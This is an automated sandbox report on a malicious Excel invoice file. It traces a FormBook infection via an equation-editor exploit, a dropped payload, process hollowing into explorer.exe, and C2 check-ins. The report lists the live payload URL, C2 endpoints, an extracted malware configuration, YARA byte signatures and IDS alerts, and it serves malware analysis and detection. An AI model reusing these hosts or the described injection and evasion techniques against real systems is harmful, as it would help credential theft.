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Windows Analysis Report 
DL03327INV.xlsx

Overview

General Information

Sample 
Name:

DL03327INV.xlsx

Analysis ID: 626601

MD5: 5b4a67ac532a5d…

SHA1: 6da306004e0847…

SHA256: 98fc7157dafde65…

Tags: VelvetSweatshop xlsx

Infos:

Detection

FormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE c…

Multi AV Scanner detection for subm…

Yara detected FormBook

Malicious sample detected (through…

System process connects to networ…

Sigma detected: File Dropped By EQ…

Antivirus detection for URL or domain

Multi AV Scanner detection for drop…

Snort IDS alert for network traffic

Sample uses process hollowing tech…

Maps a DLL or memory area into an…

Office equation editor starts process…

Injects a PE file into a foreign proce…

Found evasive API chain (may stop…

Shellcode detected

Office equation editor drops PE file

Queues an APC in another process …

Tries to detect virtualization through…

Machine Learning detection for drop…

Modifies the context of a thread in a…

C2 URLs / IPs found in malware con…

Office equation editor establishes ne…

Drops PE files to the user root direc…

Yara signature match

Antivirus or Machine Learning detec…

Contains functionality to check if a d…

May sleep (evasive loops) to hinder…

Contains functionality to shutdown /…

Uses code obfuscation techniques (…

Internet Provider seen in connection…

Detected potential crypto function

Contains functionality to query CPU…

Found potential string decryption / a…

Sample execution stops while proce…

Found evasive API chain (may stop…

Contains functionality to check if a d…

Contains functionality to call native …

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

EXCEL.EXE (PID: 2776 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 2364 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5:

A87236E214F6D42A65F5DEDAC816AEC8)
vbc.exe (PID: 2172 cmdline: "C:\Users\Public\vbc.exe" MD5: DE76EF6A11A63EFC00B0303888BC0B7F)

yldnat.exe (PID: 1148 cmdline: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna MD5:

BC3C746DB1D3F8A821BBDF17CA023450)
yldnat.exe (PID: 2452 cmdline: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna MD5:

BC3C746DB1D3F8A821BBDF17CA023450)
explorer.exe (PID: 1860 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

wuapp.exe (PID: 1112 cmdline: C:\Windows\SysWOW64\wuapp.exe MD5: C8EBA45CEF271BED6C2F0E1965D229EA)

cmd.exe (PID: 2960 cmdline: /c del "C:\Users\user\AppData\Local\Temp\yldnat.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.arjimni.com/nc39/"

  ],

  "decoy": [

    "bohicaapparel.com",

    "chilliesofwoodstock.com",

    "szcipa.com",

    "nirmalaswagruhafoods.com",

    "orbitas.online",

    "bjvxx.com",

    "atomvpn.site",

    "thecanvacoach.com",

    "thewhitelounge.com",

    "trwebz.xyz",

    "yiwanggkm.com",

    "maggiceden-io.com",

    "kimyanindelisi.online",

    "xn--e02b19uo0j.com",

    "kaola74.top",

    "klcsales.net",

    "renacerdevteam.com",

    "talkmoor.com",

    "seobusinesslistings.com",

    "contractornurd.com",

    "wolksquit.com",

    "hamiltonspringfield.com",

    "skinclash.com",

    "d-web.net",

    "tige03.xyz",

    "thereeldecoy.com",

    "dutyapparel.com",

    "vicentedotorarquitectos.com",

    "bensdrywall.com",

    "domainnetwoks.com",

    "incorrectbenevolence.com",

    "ramvadher.space",

    "dbluvt.xyz",

    "laps-clicks.com",

    "thewattelectric.com",

    "fogpromo.com",

    "ibcfitting.com",

    "get25000today.com",

    "do-hobbies-indoors.com",

    "marmagdistribuciones.com",

    "newworldtongpaihotels.net",

    "3astratford.com",

    "tocarrythemessage.com",

    "57shasha.club",

    "117colgett.com",

    "captainnoclue.com",

    "rapejesus.site",

    "grandas-svoboda.com",

    "apartmentpermis.com",

    "greatco.biz",

    "joneswoodworks.com",

    "lilatoons.com",

    "banalto.com",

    "caycilargida.online",

    "gangez.com",

    "tw-life.net",

    "treasuresofjudaica.com",

    "monin.one",

    "earthdefense.global",

    "troolygood.com",

    "eafc.tech",

    "southcarolinawire.xyz",

    "designstatussupport.com",

    "moorblaque.com"

  ]

}
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Source Rule Description Author Strings

00000008.00000002.1175423013.00000000001C0000.0000
0040.10000000.00040000.00000000.sdmp

JoeSecurity_Form
Book

Yara detected 
FormBook

Joe Security

00000008.00000002.1175423013.00000000001C0000.0000
0040.10000000.00040000.00000000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 8
3 E3 0F C1 EA 06
0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

00000008.00000002.1175423013.00000000001C0000.0000
0040.10000000.00040000.00000000.sdmp

Formbook detect Formbook 
in memory

JPCERT/CC 
Incident Response 
Group

0x187c9:$sqlite3step: 68 34 1C 7B E1
0x188dc:$sqlite3step: 68 34 1C 7B E1
0x187f8:$sqlite3text: 68 38 2A 90 C5
0x1891d:$sqlite3text: 68 38 2A 90 C5
0x1880b:$sqlite3blob: 68 53 D8 7F 8C
0x18933:$sqlite3blob: 68 53 D8 7F 8C

00000008.00000002.1175517654.0000000000270000.0000
0004.00000800.00020000.00000000.sdmp

JoeSecurity_Form
Book

Yara detected 
FormBook

Joe Security

00000008.00000002.1175517654.0000000000270000.0000
0004.00000800.00020000.00000000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 8
3 E3 0F C1 EA 06
0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Click to see the 28 entries

Source Rule Description Author Strings

6.0.yldnat.exe.400000.9.raw.unpack JoeSecurity_Form
Book

Yara detected 
FormBook

Joe Security

6.0.yldnat.exe.400000.9.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 8
3 E3 0F C1 EA 06
0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

6.0.yldnat.exe.400000.9.raw.unpack Formbook detect Formbook 
in memory

JPCERT/CC 
Incident Response 
Group

0x187c9:$sqlite3step: 68 34 1C 7B E1
0x188dc:$sqlite3step: 68 34 1C 7B E1
0x187f8:$sqlite3text: 68 38 2A 90 C5
0x1891d:$sqlite3text: 68 38 2A 90 C5
0x1880b:$sqlite3blob: 68 53 D8 7F 8C
0x18933:$sqlite3blob: 68 53 D8 7F 8C

6.2.yldnat.exe.400000.1.unpack JoeSecurity_Form
Book

Yara detected 
FormBook

Joe Security

Yara Signatures

Memory Dumps

Unpacked PEs
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AV Detection

6.2.yldnat.exe.400000.1.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x7db8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8142:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x154e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x14f91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x155e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1575f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x8b5a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 8
3 E3 0F C1 EA 06
0x1420c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x98d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab47:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1bc4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Click to see the 20 entries

Source Rule Description Author Strings

Exploits

Timestamp: 192.168.2.22198.54.117.21249175802031412 05/14/22-15:20:54.628198

SID: 2031412

Source Port: 49175

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.2.22198.54.117.21249175802031453 05/14/22-15:20:54.628198

SID: 2031453

Source Port: 49175

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.2.22198.54.117.21249175802031449 05/14/22-15:20:54.628198

SID: 2031449

Source Port: 49175

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Sigma Signatures

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Snort Signatures
ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 198.54.117.212

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 198.54.117.212

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 198.54.117.212

Joe Sandbox Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Copyright Joe Security LLC 2022 Page 7 of 41



Exploits

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Boot Survival

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Office equation editor establishes network connection

Shellcode detected

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

C2 URLs / IPs found in malware configuration

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Office equation editor drops PE file

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Tries to detect virtualization through RDTSC time measurements

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Yara detected FormBook

Yara detected FormBook
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Behavior Graph

ID: 626601

Sample: DL03327INV.xlsx

Startdate: 14/05/2022

Architecture: WINDOWS

Score: 100

www.skinclash.com traff-6.hugedomains.com hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com

Snort IDS alert for
network traffic

Found malware configuration
Malicious sample detected
(through community Yara

rule)
12 other signatures

EQNEDT32.EXE

12

        started       

EXCEL.EXE

34 26

        started       

104.168.33.31, 49173, 80

AS-COLOCROSSINGUS

United States

C:\Users\user\AppData\Local\...\vbc[1].exe, PE32

dropped

C:\Users\Public\vbc.exe, PE32

dropped

Office equation editor
establishes network

connection

Office equation editor
starts processes (likely

CVE 2017-11882 or CVE-2018-0802)

vbc.exe

19

        started       C:\Users\user\Desktop\~$DL03327INV.xlsx, data

dropped

C:\Users\user\AppData\Local\Temp\yldnat.exe, PE32

dropped

Multi AV Scanner detection
for dropped file

Machine Learning detection
for dropped file

yldnat.exe

        started       

Found evasive API chain
(may stop execution

after reading information
in the PEB, e.g. number

of processors)

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

yldnat.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

www.yiwanggkm.com

23.81.214.26, 49177, 80

LEASEWEB-USA-SEA-10US

United States

www.tw-life.net

164.155.217.57, 49176, 80

IKGUL-26484US

South Africa

4 other IPs or domains

System process connects
to network (likely due

to code injection or
exploit)

wuapp.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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Source Detection Scanner Label Link

DL03327INV.xlsx 38% Virustotal Browse

DL03327INV.xlsx 27% ReversingLabs Document-
OLE.Exploit.CVE-
2018-0802

Source Detection Scanner Label Link

C:\Users\Public\vbc.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\vbc[1].exe

100% Joe Sandbox ML

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\vbc[1].exe

51% ReversingLabs Win32.Trojan.Form
Book

C:\Users\Public\vbc.exe 51% ReversingLabs Win32.Trojan.Form
Book

Source Detection Scanner Label Link Download

6.2.yldnat.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK
.Gen

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Download File
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5.2.yldnat.exe.120000.0.unpack 100% Avira TR/Crypt.ZPACK
.Gen

2.3.EQNEDT32.EXE.6af7ba.0.unpack 100% Avira TR/Patched.Ren
.Gen

6.0.yldnat.exe.400000.9.unpack 100% Avira TR/Crypt.ZPACK
.Gen

6.0.yldnat.exe.400000.5.unpack 100% Avira TR/Crypt.ZPACK
.Gen

6.0.yldnat.exe.400000.7.unpack 100% Avira TR/Crypt.ZPACK
.Gen

Source Detection Scanner Label Link Download

Source Detection Scanner Label Link

www.tw-life.net 0% Virustotal Browse

Source Detection Scanner Label Link

www.yiwanggkm.com/nc39/?
dZzp=SW2DOu4AoD1tt2PaEEhiNvSk2qD2OpQeAcSR0NEUE8SsNGniN/+F24NqGXKX7Cj1ljS/6Q==&
3f=j6AdrVwh

0% Avira URL Cloud safe

wellformedweb.org/CommentAPI/ 0% URL Reputation safe

www.tw-life.net/nc39/?
dZzp=Td3Z6WACWlvn2oxJ5kz3cAAvTYM+vx9a0mv4ko18Io/mhbtUurGZKYFJi0A4+N8FDsGh8g==&3f
=j6AdrVwh

0% Avira URL Cloud safe

www.arjimni.com/nc39/ 100% Avira URL Cloud malware

www.arjimni.com/nc39/?
dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w==&3
f=j6AdrVwh

100% Avira URL Cloud malware

www.iis.fhg.de/audioPA 0% URL Reputation safe

104.168.33.31/75/vbc.exehhC: 0% Avira URL Cloud safe

windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

treyresearch.net 0% URL Reputation safe

java.sun.com 0% URL Reputation safe

www.icra.org/vocabulary/. 0% URL Reputation safe

104.168.33.31/75/vbc.exe 100% Avira URL Cloud malware

104.168.33.31/75/vbc.exej 0% Avira URL Cloud safe

computername/printers/printername/.printer 0% Avira URL Cloud safe

www.%s.comPA 0% URL Reputation safe

www.contractornurd.com/nc39/?
dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobluA=
=&3f=j6AdrVwh

100% Avira URL Cloud malware

servername/isapibackend.dll 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

www.tw-life.net 164.155.217.57 true true 0%, Virustotal, Browse unknown

parkingpage.namecheap.com 198.54.117.212 true false high

www.yiwanggkm.com 23.81.214.26 true true unknown

hdr-nlb10-d66bbad0736f8259.elb.us-east-
2.amazonaws.com

18.119.154.66 true false high

arjimni.com 34.102.136.180 true false unknown

www.arjimni.com unknown unknown true unknown

www.contractornurd.com unknown unknown true unknown

www.skinclash.com unknown unknown true unknown

Download File

Download File

Download File

Download File

Download File

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs
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Name Malicious Antivirus Detection Reputation

www.yiwanggkm.com/nc39/?
dZzp=SW2DOu4AoD1tt2PaEEhiNvSk2qD2OpQeAcSR0NEUE8SsNGniN/+F24NqGXKX7Cj1ljS/6Q=
=&3f=j6AdrVwh

true Avira URL Cloud: safe unknown

www.tw-life.net/nc39/?
dZzp=Td3Z6WACWlvn2oxJ5kz3cAAvTYM+vx9a0mv4ko18Io/mhbtUurGZKYFJi0A4+N8FDsGh8g==
&3f=j6AdrVwh

true Avira URL Cloud: safe unknown

www.arjimni.com/nc39/ true Avira URL Cloud: malware low

www.arjimni.com/nc39/?
dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w=
=&3f=j6AdrVwh

false Avira URL Cloud: malware unknown

104.168.33.31/75/vbc.exe true Avira URL Cloud: malware unknown

www.contractornurd.com/nc39/?
dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobl
uA==&3f=j6AdrVwh

true Avira URL Cloud: malware unknown

Name Source Malicious Antivirus Detection Reputation

www.windows.com/pctv. explorer.exe, 00000007.00000000.99354574
2.0000000003B10000.00000002.00000001.000
40000.00000000.sdmp

false high

investor.msn.com explorer.exe, 00000007.00000000.99354574
2.0000000003B10000.00000002.00000001.000
40000.00000000.sdmp

false high

www.msnbc.com/news/ticker.txt explorer.exe, 00000007.00000000.99354574
2.0000000003B10000.00000002.00000001.000
40000.00000000.sdmp

false high

wellformedweb.org/CommentAPI/ explorer.exe, 00000007.00000000.10190012
10.00000000046D0000.00000002.00000001.00
040000.00000000.sdmp

false URL Reputation: safe unknown

www.iis.fhg.de/audioPA explorer.exe, 00000007.00000000.10190012
10.00000000046D0000.00000002.00000001.00
040000.00000000.sdmp

false URL Reputation: safe unknown

www.piriform.com/ccleanerq explorer.exe, 00000007.00000000.10159980
07.0000000002CBF000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0007.00000000.1071039162.0000000002CBF00
0.00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.992782338.0000
000002CBF000.00000004.00000001.00020000.
00000000.sdmp, explorer.exe, 00000007.00
000000.1004984463.0000000002CBF000.00000
004.00000001.00020000.00000000.sdmp

false high

www.piriform.com/ccleaner1SPS0 explorer.exe, 00000007.00000000.10117031
49.0000000008611000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0007.00000000.1000245149.000000000861100
0.00000004.00000001.00020000.00000000.sdmp

false high

104.168.33.31/75/vbc.exehhC: EQNEDT32.EXE, 00000002.00000002.97116965
3.000000000061F000.00000004.00000020.000
20000.00000000.sdmp

true Avira URL Cloud: safe unknown

nsis.sf.net/NSIS_ErrorError vbc.exe, 00000004.00000000.968426551.000
000000040A000.00000008.00000001.01000000
.00000004.sdmp, vbc.exe, 00000004.000000
02.994811591.000000000040A000.00000004.0
0000001.01000000.00000004.sdmp, vbc.exe.2.dr, 
vbc[1].exe.2.dr

false high

windowsmedia.com/redir/services.asp?
WMPFriendly=true

explorer.exe, 00000007.00000000.10056950
15.0000000003CF7000.00000002.00000001.00
040000.00000000.sdmp

false URL Reputation: safe unknown

www.hotmail.com/oe explorer.exe, 00000007.00000000.99354574
2.0000000003B10000.00000002.00000001.000
40000.00000000.sdmp

false high

treyresearch.net explorer.exe, 00000007.00000000.10190012
10.00000000046D0000.00000002.00000001.00
040000.00000000.sdmp

false URL Reputation: safe unknown

services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

explorer.exe, 00000007.00000000.10056950
15.0000000003CF7000.00000002.00000001.00
040000.00000000.sdmp

false high

URLs from Memory and Binaries
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java.sun.com explorer.exe, 00000007.00000000.10026663
78.0000000000335000.00000004.00000020.00
020000.00000000.sdmp, explorer.exe, 0000
0007.00000000.1013668691.000000000033500
0.00000004.00000020.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.987463159.0000
000000335000.00000004.00000020.00020000.
00000000.sdmp, explorer.exe, 00000007.00
000000.1069523800.0000000000335000.00000
004.00000020.00020000.00000000.sdmp

false URL Reputation: safe unknown

www.icra.org/vocabulary/. explorer.exe, 00000007.00000000.10056950
15.0000000003CF7000.00000002.00000001.00
040000.00000000.sdmp

false URL Reputation: safe unknown

schemas.xmlsoap.org/ws/2004/08/addressing/role/ano
nymous.

explorer.exe, 00000007.00000000.10700080
53.0000000001DD0000.00000002.00000001.00
040000.00000000.sdmp

false high

www.piriform.com/ccleanerhttp://www.piriform.com/ccl
eanerv

explorer.exe, 00000007.00000000.10228347
82.0000000008512000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0007.00000000.1023411873.000000000869E00
0.00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.1000541349.000
000000869E000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000007.0
0000000.1023540631.0000000008807000.0000
0004.00000001.00020000.00000000.sdmp, ex
plorer.exe, 00000007.00000000.1018121045
.0000000004385000.00000004.00000001.0002
0000.00000000.sdmp, explorer.exe, 000000
07.00000000.1074287002.0000000004385000.
00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.999862011.000000
0008512000.00000004.00000001.00020000.00
000000.sdmp, explorer.exe, 00000007.0000
0000.1069574104.00000000003A6000.0000000
4.00000020.00020000.00000000.sdmp, explorer.exe, 
00000007.00000000.995167898.0000000004385
000.00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.1007078757.0
000000004385000.00000004.00000001.000200
00.00000000.sdmp

false high

investor.msn.com/ explorer.exe, 00000007.00000000.99354574
2.0000000003B10000.00000002.00000001.000
40000.00000000.sdmp

false high

www.piriform.com/ccleaner explorer.exe, 00000007.00000000.10227828
03.00000000084C0000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0007.00000000.1023411873.000000000869E00
0.00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.1015998007.000
0000002CBF000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000007.0
0000000.1000541349.000000000869E000.0000
0004.00000001.00020000.00000000.sdmp, ex
plorer.exe, 00000007.00000000.1023540631
.0000000008807000.00000004.00000001.0002
0000.00000000.sdmp, explorer.exe, 000000
07.00000000.1071039162.0000000002CBF000.
00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.992782338.000000
0002CBF000.00000004.00000001.00020000.00
000000.sdmp, explorer.exe, 00000007.0000
0000.1018121045.0000000004385000.0000000
4.00000001.00020000.00000000.sdmp, explorer.exe, 
00000007.00000000.1074287002.000000000438
5000.00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.999862011.0
000000008512000.00000004.00000001.000200
00.00000000.sdmp, explorer.exe, 00000007
.00000000.1069574104.00000000003A6000.00
000004.00000020.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.99516789
8.0000000004385000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
007.00000000.1004984463.0000000002CBF000
.00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.1007078757.0000
000004385000.00000004.00000001.00020000.
00000000.sdmp

false high

104.168.33.31/75/vbc.exej EQNEDT32.EXE, 00000002.00000002.97274137
7.00000000036D0000.00000004.00000800.000
20000.00000000.sdmp

true Avira URL Cloud: safe unknown

computername/printers/printername/.printer explorer.exe, 00000007.00000000.10190012
10.00000000046D0000.00000002.00000001.00
040000.00000000.sdmp

false Avira URL Cloud: safe low

Name Source Malicious Antivirus Detection Reputation
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www.%s.comPA explorer.exe, 00000007.00000000.10700080
53.0000000001DD0000.00000002.00000001.00
040000.00000000.sdmp

false URL Reputation: safe low

www.autoitscript.com/autoit3 explorer.exe, 00000007.00000000.10026663
78.0000000000335000.00000004.00000020.00
020000.00000000.sdmp, explorer.exe, 0000
0007.00000000.1013668691.000000000033500
0.00000004.00000020.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.987463159.0000
000000335000.00000004.00000020.00020000.
00000000.sdmp, explorer.exe, 00000007.00
000000.1069523800.0000000000335000.00000
004.00000020.00020000.00000000.sdmp

false high

https://support.mozilla.org explorer.exe, 00000007.00000000.10026663
78.0000000000335000.00000004.00000020.00
020000.00000000.sdmp, explorer.exe, 0000
0007.00000000.1013668691.000000000033500
0.00000004.00000020.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.987463159.0000
000000335000.00000004.00000020.00020000.
00000000.sdmp, explorer.exe, 00000007.00
000000.1069523800.0000000000335000.00000
004.00000020.00020000.00000000.sdmp

false high

www.piriform.com/ccleanerv explorer.exe, 00000007.00000000.10181210
45.0000000004385000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0007.00000000.1074287002.000000000438500
0.00000004.00000001.00020000.00000000.sdmp, 
explorer.exe, 00000007.00000000.995167898.0000
000004385000.00000004.00000001.00020000.
00000000.sdmp, explorer.exe, 00000007.00
000000.1007078757.0000000004385000.00000
004.00000001.00020000.00000000.sdmp

false high

servername/isapibackend.dll explorer.exe, 00000007.00000000.10087923
18.0000000006450000.00000002.00000001.00
040000.00000000.sdmp

false Avira URL Cloud: safe low

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

23.81.214.26 www.yiwanggkm.com United States 396190 LEASEWEB-USA-SEA-
10US

true

34.102.136.180 arjimni.com United States 15169 GOOGLEUS false

World Map of Contacted IPs

Public IPs
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198.54.117.212 parkingpage.namecheap.
com

United States 22612 NAMECHEAP-NETUS false

104.168.33.31 unknown United States 36352 AS-COLOCROSSINGUS true

164.155.217.57 www.tw-life.net South Africa 26484 IKGUL-26484US true

IP Domain Country Flag ASN ASN Name Malicious

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 626601

Start date and time: 14/05/202215:18:09 2022-05-14 15:18:09 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 10m 55s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: DL03327INV.xlsx

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 
4.6.2)

Number of analysed new started processes 
analysed:

12

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.expl.evad.winXLSX@11/16@5/5

EGA Information: Successful, ratio: 100%

HDC Information: Successful, ratio: 42.8% (good quality ratio 41.1%)
Quality average: 75%
Quality standard deviation: 28%

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .xlsx
Adjust boot time
Enable AMSI
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM
Scroll down
Close Viewer

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, conhost.exe, svchost.exe
TCP Packets have been reduced to 100
Not all processes where analyzed, report is missing behavior  information
Report size getting too big, t oo many NtCreateFile calls found.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtQueryAttributesFile calls found.
